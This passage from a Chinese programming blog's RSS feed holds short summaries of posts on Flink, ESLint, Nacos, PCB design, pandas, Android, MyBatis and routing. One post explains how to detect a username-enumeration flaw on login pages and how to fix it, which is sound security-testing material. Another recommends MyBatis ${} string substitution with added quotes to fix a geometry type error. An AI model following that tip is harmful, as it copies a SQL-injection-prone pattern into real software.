      <guid>https://bchobby.github.io/posts/65e19b01b1d312cb4b0c61bb2619240f/</guid>
      <description>5. Flink State管理跟恢复 Flink 是一个默认就有状态的分析引擎，前面的 WordCount 案例可以做到单词的数量的累加，其实是因为在内存中保证了每个单词的出现的次数，这些数据其实就是状态数据。但是如果一个 Task 在处理过程中挂掉了，那么它在内存中的状态都会丢失，所有的数据都需要重新计算。从容错和消息处理的语义（At -least-once 和 Exactly-once）上来说，Flink 引入了 State 和CheckPoint。&#xA;State 一般指一个具体的 Task/Operator 的状态(Task Slot/ 转换算子)，State 数据默认保存在 Java 的堆内存中。CheckPoint（可以理解为CheckPoint是把State数据持久化存储了）则表示了一个 Flink Job 在一个特定时刻的一份全局状态快照，即包含了所有Task/Operator 的状态。&#xA;1. 常用 State Flink 有两种常见的 State 类型，分别是:&#xA;Keyed State(键控状态)Operator State(算子状态) 1. Keyed State（键控状态） Keyed State：顾名思义就是基于 KeyedStream上的状态，这个状态是跟特定的 Key 绑定的。KeyedStream 流上的每一个 Key，都对应一个 State。Flink 针对 Keyed State 提供了 以下可以保存 State 的数据结构：&#xA;ValueState&amp;lt;T&amp;gt;:&#xA;保存一个可以更新和检索的值（如上所述，每个值都对应到当前的输入数据的 key，因此算子接收到的每个 key 都可能对应一个值）。 这个值可以通过 update(T) 进行更新，通过 T value() 进行检索。ListState&amp;lt;T&amp;gt;:&#xA;保存一个元素的列表。可以往这个列表中追加数据，并在当前的列表上 进行检索。可以通过 add(T) 或者 addAll(List) 进行添加元素，通过 Iterable get()获得整个列表。还可以通过 update(List) 覆盖当前的列表。ReducingState&amp;lt;T&amp;gt;:</description>
    </item>
    <item>
      <title>vscode中配置eslint在react项目中使用</title>
      <link>https://bchobby.github.io/posts/717b2c47b2f2053d4aeb89b477132502/</link>
      <pubDate>Wed, 22 Jul 2020 12:19:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/717b2c47b2f2053d4aeb89b477132502/</guid>
      <description>通过create-react-app创建react项目，亲测.eslintrc.js文件中的配置可以生效，可以使用&#xA;1、安装eslint：&#xA;yarn add eslint；方式1、项目目录下安装 npm install -g eslint ；方式2、全局安装 npm install eslint --save-dev ；方式3、本地安装 我在电脑上使用yarn add eslint，安装到了我的项目目录下&#xA;2、初始化配置文件和在package.json中添加依赖，这些问题答案视自己的项目情况而定，中间会有很多警告，对这个没有什么影响。&#xA;eslint --init 此时项目中出现了.eslintrc.js文件，在package.json中查看可以发现多了新的依赖项：&#xA;3、在vscode中添加插件eslint&#xA;4、修改文件-&amp;gt;首选项-&amp;gt;设置-&amp;gt;settings.json的配置&#xA;setting.json配置：&#xA;{ &#34;editor.fontSize&#34;: 16, &#34;editor.codeActionsOnSave&#34;: { &#34;source.fixAll.eslint&#34;: true }, &#34;eslint.validate&#34;: [ &#34;javascript&#34;, &#34;javascriptreact&#34;, &#34;vue&#34; ], &#34;files.autoSave&#34;: &#34;off&#34;, &#34;editor.formatOnType&#34;: true, &#34;editor.formatOnSave&#34;: true, &#34;files.associations&#34;: { &#34;*.js&#34;: &#34;javascriptreact&#34; }, &#34;workbench.colorTheme&#34;: &#34;Default Dark+&#34;, &#34;emmet.triggerExpansionOnTab&#34;: true, &#34;vsicons.projectDetection.disableDetect&#34;: true, &#34;workbench.iconTheme&#34;: &#34;vscode-icons&#34;, &#34;editor.tabSize&#34;: 2, &#34;[json]&#34;: { &#34;editor.defaultFormatter&#34;: &#34;vscode.json-language-features&#34; } } 此时，在项目目录ctrl+shift+p输入eslint，确保eslint已经启用了，此时保存时eslint就可以自动检测代码了，像双引号还可以自动修复为单引号。&#xA;注意：配置 &#34;</description>
    </item>
    <item>
      <title>CentOS7中使用docker-compose部署Nacos集群</title>
      <link>https://bchobby.github.io/posts/e929bc055a399876ab5f064c8c11c6e4/</link>
      <pubDate>Wed, 22 Jul 2020 08:55:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e929bc055a399876ab5f064c8c11c6e4/</guid>
      <description>1. 前言 前面学习了 SpringCloudAlibaba之服务注册与发现Nacos 以及 SpringCloudAlibaba之配置中心Nacos，其中Nacos服务都部署在本地，那么现在把它部署到服务器上。&#xA;在服务器上部署Nacos，有多种方式，&#xA;单机：&#xA;方式一： 拷贝三份编译后的 Nacos Server，分别修改端口，以及编写 cluster.conf 文件方式二： 启动三个 Nacos Server 的 Docker 容器方式三： 使用 docker-compose 编排三个 Nacos Server 服务 三台及以上：&#xA;方式一： 每台都拷贝一份编译后的 Nacos Server，以及编写 cluster.conf 文件方式二： 每台都启动一个 Nacos Server 的 Docker 容器方式三： 每台都使用 docker-compose 编排一个 Nacos Server 服务 最方便的当然是使用 docker-compose 来编排服务，本篇博客也是使用的 docker-compose 方式（单机）。这里除了会编排三个 Nacos Server 服务，还会增加 MySQL 服务和 Nginx 服务，这也是官方推荐的部署架构：&#xA;至少使用三个Nacos节点使用MySQL作为数据源，方便观察数据存储的基本情况使用Nginx作为统一入口，扩展节点的时候不影响后端应用 2. 源码 GitHub 地址：https://github.com/intomylife/Docker&#xA;Docker Hub 地址：https://hub.docker.com/r/intomylife&#xA;3. 部署 整个部署所需要的文件都在 build 目录中</description>
    </item>
    <item>
      <title>浅谈“用户名枚举”</title>
      <link>https://bchobby.github.io/posts/751054e77a11d02a052d10cf643aee19/</link>
      <pubDate>Tue, 21 Jul 2020 21:48:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/751054e77a11d02a052d10cf643aee19/</guid>
      <description> 一：漏洞名称： 用户名枚举 描述： 存在于系统登录页面，利用登陆时输入系统存在的用户名错误密码和不存在的用户名错误密码，返回不同的出错信息可枚举出系统中存在的账号信息。&#xA;检测条件： 1.已知Web网站具有登录页面。&#xA;2.登录错误回显不一至。&#xA;检测方法： 找到网站或者web系统登录页面。在web系统登录页面，通过手工方式，（注：利用工具和字典直接跑更方便，通常能枚举出来的用户名，一般密码都是弱口令）利用系统中存在的用户名和不存在的用户名，密码随意，尝试登录，查看其回显内容。例如：输入存在的用户名admin，回显如下：密码错误；输入不存在的用户名test，回显如下：用户不存在。如图所示： 漏洞修复： 建议对网站登录页面的判断回显信息修改为一致：用户名或密码错误&#xA;其他补充说明： 暂无。 </description>
    </item>
    <item>
      <title>head-＞next = p；和p=head-＞next；之间的区别</title>
      <link>https://bchobby.github.io/posts/851521c9dbed7491ff81a9df52aa173d/</link>
      <pubDate>Tue, 21 Jul 2020 17:03:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/851521c9dbed7491ff81a9df52aa173d/</guid>
      <description>对于head-&amp;gt;next = p;和p=head-&amp;gt;next;之间的区别，可能对于刚接触链表的你有点难理解其实结合图片就很容易理解&#xA;其实在说这两个之前我们可以用一个简单的语句来铺垫一下，比如int a=5；我们知道a就是一个整形数值的变量，下面的数值只代表一部分，此时我们令a=5；我们就让a指向5，把5赋值给a.&#xA;然后我们再先来说一说head-&amp;gt;next = p;&#xA;然后我们再来说一说p=head-&amp;gt;next;如果理解了上面的那个语句，那这个就不难了&#xA;网上对与head-&amp;gt;next的理解也是不一样的，在链表中next是结点的指针域，我个人倾向于head-&amp;gt;next表示的即为head的下一个结点，这在代码中感觉能更好地帮助理解，如有理解不对的地方，希望读者可以在评论区给予修正。</description>
    </item>
    <item>
      <title>千兆网络PHY芯片 RTL8211E的实践应用（原理图及PCB实现）</title>
      <link>https://bchobby.github.io/posts/2addfd8dd0a63c610fa9969f82fb9fd6/</link>
      <pubDate>Mon, 20 Jul 2020 20:36:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2addfd8dd0a63c610fa9969f82fb9fd6/</guid>
      <description>一、完成基于RTL8211E的千兆以太网外围电路的PCB实现&#xA;1.PCB的板级分析&#xA;采用了八层PCB板的制作工艺，层级分布分别为&#xA;TOP-&amp;gt;GND-&amp;gt;SIG1-&amp;gt;PWR-&amp;gt;PER2 -&amp;gt;SIG2-&amp;gt;GND-&amp;gt;BUTTOM.&#xA;其中，top层摆放主要器件并布放控制类信号线以及PHY连接RJ45的差分线；&#xA;GND层为参考层；&#xA;SIG1主要布放PHY至FPGA端的TX等长信号线；&#xA;PWR层主要提供AVDD10和DVDD10的供电电压；&#xA;PWR2层主要提供VCC33、DVDD33和AVDD33三种供电电压；&#xA;SIG2层主要布放PHY至FPGA端的RX等长信号线；&#xA;GND层为参考层；&#xA;BUTTOM层为布放因其他原因无法走线的电路；&#xA;2.电源设计&#xA;电源设计共占用两层PCB板，包括由排针引脚为芯片供电的3.3V电源及芯片内部转换为自身供电的1.05V供电。3.3V供电的原理图如下：&#xA;VCC3.3V通过电容滤波后，经过磁珠的隔离，分为为芯片供电的数字电和模拟电两种，按照芯片引脚的位置，划分电源平面。形成的PCB板层如图所示：&#xA;根据芯片手册VDD1.05V电压通过芯片自身的switching regulator转换，另外通过外接0电阻与去耦电容形成模拟或数字1.05V电源。switching regulator只能给芯片自身的AVDD10和DVDD10供电，不能给其它外部电路供电。以下是原理图：&#xA;芯片regout引脚为自身提供1.05V电压，通过串联电感，并联电容进行滤波后，分为数字电源和模拟电源两部分，同3.3V电源层，1.05V电压在电源层根据芯片供电引脚位置，共分为数字和模拟两部分区域，因参考电路是原芯片厂商给定的外围参考电路，因此，此处对电阻电容的值不做任何改动，其中0欧姆的电阻在原理图中暂时不进行改动，此处0欧姆电阻在此处也起到隔离数字电源和模拟电源的作用。&#xA;在整体电源设计时，应注意去耦电容的摆放。&#xA;3.接地&#xA;GND层作为参考层，为信号层以及与电源形成电容提高整体EMI性能。&#xA;在PHY芯片内打过孔以连接地，起到散热，导流的作用。&#xA;在其他位置添加过孔。&#xA;3.PHY至RJ45电路设计&#xA;MDI连接属于高速信号连接，对MDI线路设计时时需特别注意，到RJ-45接口的路径需要尽可能短。考虑到信号串扰等原因，这里使用4对差分对进行数据传输，设置等长，差分对间距，阻抗100欧姆，设置规则如下。&#xA;以太网接口速率较高，会产生较大的干扰，会在铜皮产生感应电流，在RJ45接口处需将除差分引脚外的信号全部挖空，挖空区避免走线。&#xA;4.PHY至FPGA电路设计&#xA;RGMII接口设计：TXC与RXC分别为数据传输中发送与接收的频率，在千兆以太网中，分别为125MHz。接收数据的端口为RX[0…3]，控制使能为TX_CTL；发送数据的端口为TX[0…3]，控制使能为RX_CTL。&#xA;为了处理时钟信号，后期调试及EMI等问题，加入0欧姆电阻，对TXC和RXC进行过滤，当信号失真时，将时钟电路中的0电阻更换为值较小的电容。&#xA;其中要保证RXC、RX_TCL、RX[0…3]做到等长，TXC、TX_TCL、TX[0…3]做到等长，以避免数据和时钟的不匹配现象。TX与RX分别分配到信号质量最好的中间信号层，如图所示：&#xA;为了匹配阻抗，需要串联小电阻22欧姆，串联电阻同时也可以解决输入电压过冲的问题。&#xA;为了保证信号质量，如果信号线过长，可对该线路实行端接的处理办法，可以有效的解决信号失真等情况。&#xA;其他注意事项及未完成事项：&#xA;1.示例板中有表层敷铜，表层敷铜为GNDnet，这块板没有表层敷铜。&#xA;2.板层厚度如何考虑。&#xA;3.阻抗匹配在cadence中的实际操作。因信号反射的原因，在实际布线的过程中必须考虑阻抗匹配的问题。&#xA;二、相关知识点总结&#xA;1.表层敷铜&#xA;1、对内层信号提供额外的屏蔽防护及噪声抑制；&#xA;2、提高PCB的散热能力；&#xA;3、在PCB生产过程中，节约腐蚀剂的用量；&#xA;4、避免因铜箔不均衡造成PCB过回流焊时产生的应力不同而造成PCB起翘变形。&#xA;2.PCB板层选择&#xA;TOP-&amp;gt;GND-&amp;gt;SIG1-&amp;gt;PWR-&amp;gt;PER2 -&amp;gt;SIG2-&amp;gt;GND-&amp;gt;BUTTOM这种八层PCB板是最常见的PCB板层设计之一，好处在于每个布线层都有一个GND参考层相连，保证了电路的回流，减小阻抗。有较好的信号完整性，信号层与街底层相邻，电源层与接地层配对，每个走线层的阻抗都可较好控制。两个街底层能良好吸收侧离线，并且在电源地层完整的情况下，为每个信号层都提供较好的回流路径。&#xA;其他的八层板设计有top-gnd-sig1-pwr-gnd-sig3-gnd-buttom等。&#xA;常用的六层板叠层设计有TOP-GND-SIG2-PWR-GND-BUTTOM.&#xA;因为该芯片供电采用了1.05V和3.3V混合供电，其中又包括了AVDD和DVDD两种，一层电源层可以解决问题，但效果不如两层电源层更好，因此没有选择六层板；&#xA;在八层板里，SIG1和SIG2这两层信号层的信号质量最好，因为可用来布高速信号（RX和TX）。因为芯片中RX和TX挨得很近，所以最好将这两组信号拆开放入不同层中，这样效果更好。&#xA;3.磁珠的作用&#xA;磁珠有很高的电阻率和磁导率，等效于电阻和电感串联，磁珠用bai来吸收超高频信号，像一些RF电路，PLL，振荡电路，含超高频存储器电路都需要在电源输入部分加磁珠，从而提高调频滤波效果。&#xA;此处放置磁珠是为了起到隔离数字与模拟电源的作用。这样可以防止一些高频噪声进入模拟区域。因为数字器件有噪声容限，而模拟器件则对噪声非常敏感。&#xA;4.电阻的作用&#xA;当较快的信号沿驱动一段较长的走线，而走线上没有有效的匹配时，往往会产生过冲。在电路设计中，最小化过冲与减小上升时间的目标会发生冲突。&#xA;过冲就是第一个峰值或谷值超过设定电压——对于上升沿是指最高电压而对于下降沿是指最低电压。&#xA;对付过冲的一般方法是匹配，或叫端接。端接可总结为两种形式：远端串联匹配消除二次反射，终端并联匹配消除一次反射。&#xA;5.电容的作用&#xA;应用于电源电路，实现旁路、去藕、滤波和储能方面电容的作用。滤波是电容的作用中很重要的一部分。几乎所有的电源电路中都会用到。从理论上说，电容越大，阻抗越小，通过的频率也越高。&#xA;大电容滤掉频率比较低的信号，小电容滤掉频率比较高的信号，通过的信号的频率就是在这两个电容滤掉之间那一段。&#xA;大电容是电解电容，有极性，对交流电不起作用，对不平滑的直流电滤波，使之趋于平滑。小电容是无极电容，是滤除交流高频杂波。&#xA;6.信号的反射&#xA;信号沿传输线向前传播时，每时每刻都会感受到一个瞬态阻抗，这个阻抗可能是传输线本身的，也可能是中途或末端其他元件的。对于信号来说，它不会区分到底是什么，信号所感受到的只有阻抗。如果信号感受到的阻抗是恒定的，那么他就会正常向前传播，只要感受到的阻抗发生变化，不论是什么引起的（可能是中途遇到的电阻，电容，电感，过孔，PCB转角，接插件），信号都会发生反射。&#xA;衡量信号反射量的重要指标是反射系数，表示反射电压和原传输信号电压的比值。假设PCB线条的特性阻抗为50欧姆，传输过程中遇到一个100欧姆的贴片电阻，暂时不考虑寄生电容电感的影响，把电阻看成理想的纯电阻，那么反射系数为：1/3，信号有1/3被反射回源端。如果传输信号的电压是3.3V电压，反射电压就是1.1V。&#xA;由于反射现象的存在，信号传播路径中阻抗发生变化的点，其电压不再是原来传输的电压。这种反射电压会改变信号的波形，从而可能会引起信号完整性问题。&#xA;7.信号的串扰&#xA;串扰是指当信号在传输线上传播时，因电磁耦合对相邻的传输线产生的不期望的电压噪声。&#xA;串扰是由电磁耦合引起的。</description>
    </item>
    <item>
      <title>《后端》eclipse报错：Could not retrieve transation read-only status server</title>
      <link>https://bchobby.github.io/posts/1f088dcffcc58c4f404b2990db00d67e/</link>
      <pubDate>Mon, 20 Jul 2020 20:23:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f088dcffcc58c4f404b2990db00d67e/</guid>
      <description>Could not retrieve transation read-only status server&#xA;查找原因：&#xA;是连接mysql的jdbc驱动包和mysql 的版本对不上，&#xA;解决Could not retrieve transation read-only status server_有天你会让我妒忌的.-CSDN博客_could not retrieve transation https://blog.csdn.net/q343509740/article/details/79527132/&#xA;ssm+mysql遇到的问题Could not retrieve transation read-only status server。。。_legendaryhaha的博客-CSDN博客_could not retrieve transation read-only status ser https://blog.csdn.net/legendaryhaha/article/details/82631229</description>
    </item>
    <item>
      <title>Pandas 数据处理 | 多个数据表怎么合并(merge)，你了解么？</title>
      <link>https://bchobby.github.io/posts/152f7bc253390e7bce0ff7c7b650821b/</link>
      <pubDate>Mon, 20 Jul 2020 13:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/152f7bc253390e7bce0ff7c7b650821b/</guid>
      <description>Pands 两个数据列表合并方法总结； merge() 函数用于合并两个 DataFrame 对象或 Series，数据处理时经常会用到这个函数，官网给出该函数的定义如下：&#xA;pandas.merge(left, right, how: str = ‘inner’, on=None, left_on=None, right_on=None, left_index: bool = False, right_index: bool = False, sort: bool = False, suffixes=’_x’, ‘_y’, copy: bool = True, indicator: bool = False, validate=None)&#xA;先介绍一下 各参数的含义作用；&#xA;left左边的 DataFrameright右边要合并的 DataFramehow合并方式，一共四种: left,right,inner,outer，默认为 inner&#xA;left 仅使用来自左边frame的键进行匹配； right 仅使用来自右边frame 的键进行匹配；&#xA;outer 取来自左右frame 键的并集；匹配不到的话元素设为Null&#xA;inner 取来自左右frame 键的交集，匹配不到的话元素丢失；onlabel or list&#xA;选取合并的基准列也就是键名，前提该键名在两个 DataFrames 中有存在，如果未设置的话，默认为左右两个 DataFrame 的列名交集;left_onlabel、list、array_list&#xA;左边 DataFrame 中的列或索引级别作为键；可为列名或索引名right_onlable、list、array_list&#xA;右边DataFrame中 的列或索引级别作为键；可为列名或索引名left_indexbool，默认False</description>
    </item>
    <item>
      <title>Pandas数据处理 | apply() 函数用法指南！</title>
      <link>https://bchobby.github.io/posts/33b34f1cf59cf3cdcac3acb9a2c24775/</link>
      <pubDate>Mon, 20 Jul 2020 13:11:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33b34f1cf59cf3cdcac3acb9a2c24775/</guid>
      <description>本文介绍一下关于 Pandas 中 apply() 函数的几个常见用法，apply() 函数的自由度较高，可以直接对 Series 或者 DataFrame 中元素进行逐元素遍历操作，方便且高效，具有类似于 Numpy 的特性。&#xA;apply() 使用时，通常放入一个 lambda 函数表达式、或一个函数作为操作运算，官方上给出的 apply() 用法：&#xA;DataFrame.apply(self, func, axis=0, raw=False, result_type=None, args=(), **kwds func 代表的是传入的函数或 lambda 表达式；axis 参数可提供的有两个，该参数默认为0/列 0 或者 index ，表示函数处理的是每一列；1 或 columns ，表示处理的是每一行; raw ；bool 类型，默认为 False; False ，表示把每一行或列作为 Series 传入函数中；True，表示接受的是 ndarray 数据类型； apply() 最后的是经过函数处理，数据以 Series 或 DataFrame 格式返回。&#xA;下面用几个例子来介绍一下 apply() 的具体使用；&#xA;DataFrame 使用apply() 1，计算每个元素的平方根&#xA;这里为了方便，直接用到 numpy 的 sqrt 函数；&#xA;&amp;gt;&amp;gt;&amp;gt; df =pd.DataFrame([[4,9]]*3,columns = [&#39;A&#39;,&#39;B&#39;]) &amp;gt;&amp;gt;&amp;gt; df A B 0 4 9 1 4 9 2 4 9 &amp;gt;&amp;gt;&amp;gt; df.</description>
    </item>
    <item>
      <title>C&#43;&#43;中unordered_map常用操作</title>
      <link>https://bchobby.github.io/posts/72c4cb19056e1b03046d68c77f3bf17f/</link>
      <pubDate>Mon, 20 Jul 2020 11:15:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72c4cb19056e1b03046d68c77f3bf17f/</guid>
      <description>unordered_map介绍 unordered_map记录元素的hash值，根据hash值判断元素是否相同。map相当于java中的TreeMap，unordered_map相当于HashMap。无论从查找、插入上来说，unordered_map的效率都优于hash_map，更优于map；而空间复杂度方面，hash_map最低，unordered_map次之，map最大。&#xA;unordered_map与map的对比 存储时是根据key的hash值判断元素是否相同，即unordered_map内部元素是无序的，而map中的元素是按照二叉搜索树存储（用红黑树实现），进行中序遍历会得到有序遍历。所以使用时map的key需要定义operator&amp;lt;。而unordered_map需要定义hash_value函数并且重载operator==。但是很多系统内置的数据类型都自带这些。&#xA;成员函数 1. 迭代器&#xA;begin 返回指向容器起始位置的迭代器（iterator）&#xA;end 返回指向容器末尾位置的迭代器&#xA;cbegin　返回指向容器起始位置的常迭代器（const_iterator）&#xA;cend 返回指向容器末尾位置的常迭代器&#xA;元素的键值分别是迭代器的first和second属性。使用(*it).first或者it-&amp;gt;first获取。&#xA;2. 容量&#xA;size 返回有效元素个数&#xA;max_size 返回 unordered_map 支持的最大元素个数&#xA;empty 判断是否为空&#xA;3. 元素插入与删除&#xA;insert 插入元素&#xA;erase　删除元素 ，可以通过迭代器或者key进行删除&#xA;clear　清空内容&#xA;swap 交换内容&#xA;unordered_map&amp;lt;int,int&amp;gt; mymap; //插入 mymap.insert({1,0});//数组插入 mymap[1] = 0;//键值插入 mymap.insert(mymap2.begin(),mymap2.end());//插入另一个哈希表中的元素 mymap.insert(pair&amp;lt;int,int&amp;gt;(0,1)); //删除 mymap.erase(mymap.begin()); mymap.erase(1); mymap.clear(); 4. 查找&#xA;find 通过给定主键查找元素,没找到：返回unordered_map::end&#xA;count 返回匹配给定主键的元素的个数&#xA;equal_range 返回值匹配给定搜索值的元素组成的范围&#xA;if (mymap.find(0) != mymap.end()) cout &amp;lt;&amp;lt; &#34;not found&#34; &amp;lt;&amp;lt; endl; else cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>android 原生集成flutter问题记录</title>
      <link>https://bchobby.github.io/posts/101acd57a1a5258d3480d998d88e5c64/</link>
      <pubDate>Mon, 20 Jul 2020 11:00:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/101acd57a1a5258d3480d998d88e5c64/</guid>
      <description>android 原生集成flutter问题记录 1.老项目集成flutter提示androidx冲突的问题&#xA;解决方案：一定要先升级Androidx之后再集成flutter！！！！如果先集成flutter后升级androidx会有各种意想不到的问题，凉凉。&#xA;2.Android 集成flutter之后，flutter plugin 的lib中的资源文件找不到了&#xA;解决方案：在原生的项目根目录下的 build.gradle 中的 allprojects 添加如下内容： allprojects { repositories { flatDir { dirs project(&#39;:push_flow_plugin&#39;).file(&#39;libs&#39;) } } } 其中 push_flow_plugin 对应的 flutter plugin 的名称</description>
    </item>
    <item>
      <title>Spring 系列：Spring AOP 中@Pointcut的用法（多个Pointcut）</title>
      <link>https://bchobby.github.io/posts/a77df575d79c2a3bfcebe8efca937e1f/</link>
      <pubDate>Sat, 18 Jul 2020 15:14:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a77df575d79c2a3bfcebe8efca937e1f/</guid>
      <description>格式： execution(modifiers-pattern? ret-type-pattern declaring-type-pattern? name-pattern(param-pattern)throws-pattern?) execution(modifiers-pattern? ret-type-pattern declaring-type-pattern? name-pattern(param-pattern)throws-pattern?) 解释： 修饰符匹配（modifier-pattern?）返回值匹配（ret-type-pattern）可以为*表示任何返回值,全路径的类名等类路径匹配（declaring-type-pattern?）方法名匹配（name-pattern）可以指定方法名 或者 *代表所有, set* 代表以set开头的所有方法参数匹配（(param-pattern)）可以指定具体的参数类型，多个参数间用“,”隔开，各个参数也可以用“*”来表示匹配任意类型的参数，如(String)表示匹配一个String参数的方法；(*,String) 表示匹配有两个参数的方法，第一个参数可以是任意类型，而第二个参数是String类型；可以用(..)表示零个或多个任意参数异常类型匹配（throws-pattern?）其中后面跟着“?”的是可选项 使用方法 多个execution连接方法： #在多个表达式之间使用 ||,or表示 或，使用 &amp;amp;&amp;amp;,and表示 与，！表示 非.&#xA;expression=”execution(* pp.business.*.*(..)) or execution(* pp.business.impl.*.*(..))”</description>
    </item>
    <item>
      <title>小白开发安卓程序之路（2-5）RadioButton&amp;RadioGroup（常用属性、自定义样式、监听事件）</title>
      <link>https://bchobby.github.io/posts/277cda3176c0afc81c5b65d0fec9f072/</link>
      <pubDate>Sat, 18 Jul 2020 14:00:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277cda3176c0afc81c5b65d0fec9f072/</guid>
      <description>文章目录 小知识RadioButton实战MainActivity.javaactivity_main.xmlRadioButtonActivity.javaactivity_radio_button.xmlselector_blue.xml 效果 小知识 xml文件名不能有大写字母&#xA;RadioButton实战 MainActivity.java 今天的MainActivity.java里用方法代替了以往稍显冗杂的代码&#xA;package com.example.myapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; public class MainActivity extends AppCompatActivity { private Button mbtnTextView; private Button mbtnButton; private Button mbtnEditText; private Button mbtnRadioButton; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mbtnTextView=findViewById(R.id.btn_textview); mbtnButton=findViewById(R.id.btn_button); mbtnEditText=findViewById(R.id.btn_edittext); mbtnRadioButton=findViewById(R.id.btn_radiobutton); setListeners();//这个方法给每个按钮加上了点击事件onclick，而onclick的构造器能够根据调用他的对象的名字创建相应的点击事件 } private void setListeners(){ Onclick onclick=new Onclick(); mbtnRadioButton.setOnClickListener(onclick); mbtnEditText.setOnClickListener(onclick); mbtnTextView.setOnClickListener(onclick); mbtnButton.setOnClickListener(onclick); } private class Onclick implements View.</description>
    </item>
    <item>
      <title>ubuntu16.04(桌面版) 开机自启动.sh脚本</title>
      <link>https://bchobby.github.io/posts/0c3aa4ff86b94b848c734331ab32dda9/</link>
      <pubDate>Fri, 17 Jul 2020 16:20:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c3aa4ff86b94b848c734331ab32dda9/</guid>
      <description>在网上看了很多方法，都没有奏效。&#xA;本文方法：&#xA;1、编写test.sh脚本&#xA;#!/bin/bash ### BEGIN INIT INFO # Provides: starter # Required-Start: $remote_fs $syslog # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: start starter # Description: start starter ### END INIT INFO #chkconfig: 2345 80 90 #description:auto_run su --l username cd /path/ python test.py exit 0 2、在ubuntu左上角搜索框查找Startup Applications 点击&#xA;点击add&#xA;Name:定义名字，test&#xA;Command：/usr/bin/gnome-terminal -x bash -c “/path/test.sh;exec bash”&#xA;#其中/usr/bin/gnome-terminal为开机打开终端。&#xA;bash -c “/path/test.</description>
    </item>
    <item>
      <title>C#开发之——获取字符串长度(4.2)</title>
      <link>https://bchobby.github.io/posts/8420a5e53860f38760161c956fc288e2/</link>
      <pubDate>Fri, 17 Jul 2020 14:54:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8420a5e53860f38760161c956fc288e2/</guid>
      <description>一 概述 字符串实际上是由多个字符组成的，字符串中的第一个字符使用字符串[0]即可得。[0]中的0称为下标获取字符串中的第一个字符使用的下标是0，则字符串中最后一个字符的下标是字符串的长度减1C#语言如果要获取字符串的长度，使用Length属性即可字符串.Length 二 实例 2.1 实例一 在 Main 方法中从控制台输入一个字符串，输出该字符串的长度，以及字符串中的第一个字符和最后一个字符。 2.1.1 代码&#xA;复制 1 2 3 4 5 6 7 8 9 10 class Program { static void Main(string[] args) { string str = Console.ReadLine(); Console.WriteLine(&#34;字符串的长度为：&#34; + str.Length); Console.WriteLine(&#34;字符串中第一个字符为：&#34; + str[0]); Console.WriteLine(&#34;字符串中最后一个字符为：&#34; + str[str.Length - 1]); } } 2.1.1 执行结果&#xA;2.2 实例二 在 Main 方法中从控制台输入一个字符串，并将字符串中的字符逆序输出 2.2.1 代码&#xA;复制 1 2 3 4 5 6 7 8 9 10 11 class Program { static void Main(string[] args) { string str = Console.</description>
    </item>
    <item>
      <title>错误: 字段 “f_geom“ 的类型为 geometry, 但表达式的类型为 character varying</title>
      <link>https://bchobby.github.io/posts/cfdbc5db094d69ad141839012871d57d/</link>
      <pubDate>Fri, 17 Jul 2020 13:40:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfdbc5db094d69ad141839012871d57d/</guid>
      <description>geometry类型，对应mybatis自动生成类型为：Object，&#xA;遇见这个错误，是因为使用&#xA;#{}来获参数。应该使用${},这样的话，就不会报错了。&#xA;当执行数据添加时，使用&#xA;${},又会缺少 ‘’&#xA;两种解决方法&#xA;①前端提供数据里面，为：“ ‘data’ ”&#xA;②mybatis中，使用 ‘ ${} ’,这种方式也可以。&#xA;遇到这个错误，暂时找到这两种方法。</description>
    </item>
    <item>
      <title>cisco路由器vty_如何使用VTY Shell配置路由器</title>
      <link>https://bchobby.github.io/posts/073f6f7efed54a458a6188024f5f2d64/</link>
      <pubDate>Fri, 17 Jul 2020 12:22:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/073f6f7efed54a458a6188024f5f2d64/</guid>
      <description>cisco路由器vty&#xA;最近，我写了一篇文章，解释了如何使用Quagga路由套件实现开放式最短路径优先（OSPF）。 可以使用多个软件套件代替Quagga来实现不同的路由协议。 一种这样的选择是自由范围路由（FRR）。 财务报告率 FRR是一个路由软件套件，它是从Quagga派生的，并根据GNU GPL2许可进行分发。 与Quagga一样，它为Unix类平台提供了所有主要路由协议的实现，例如OSPF，路由信息协议（RIP），边界网关协议（BGP）和中间系统到中间系统（IS-IS）。 建筑 FRR是一组守护程序，它们可以共同构建路由表。 每个主要协议都在自己的守护程序中实现，这些守护程序与核心和独立于协议的守护程序Zebra对话，后者提供内核路由表更新，接口查找以及不同路由协议之间路由的重新分配。 每个特定于协议的守护程序负责运行相关协议并根据交换的信息构建路由表。 VTY外壳 VTYSH是FRR路由引擎的集成外壳。 它将每个守护程序中定义的所有CLI命令合并，并在单个shell中将它们呈现给用户。 它提供了类似于Cisco的模式CLI，并且许多命令类似于Cisco IOS命令。 CLI的模式不同，某些命令仅在特定模式下可用。 建立 在本教程中，我们将实现路由信息协议（RIP）以使用FRR配置动态路由。 我们可以通过两种方式来做到这一点-通过在编辑器中编辑协议守护程序配置文件或使用VTY Shell。 在此示例中，我们将使用VTY Shell。 我们的设置包括两个名为Alpha和Beta的CentOS 7.7主机。 这两台主机都有两个网络接口，并共享对192.168.122.0/24网络的访问。 我们将宣传10.12.11.0/24和10.10.10.0/24网络的路由。 对于主持人Alpha： eth0 IP：192.168.122.100/24 网关：192.168.122.1 eth1 IP：10.10.10.12/24 对于主机Beta： eth0 IP：192.168.122.50/24 网关：192.168.122.1 eth1 IP：10.12.11.12/24 安装包 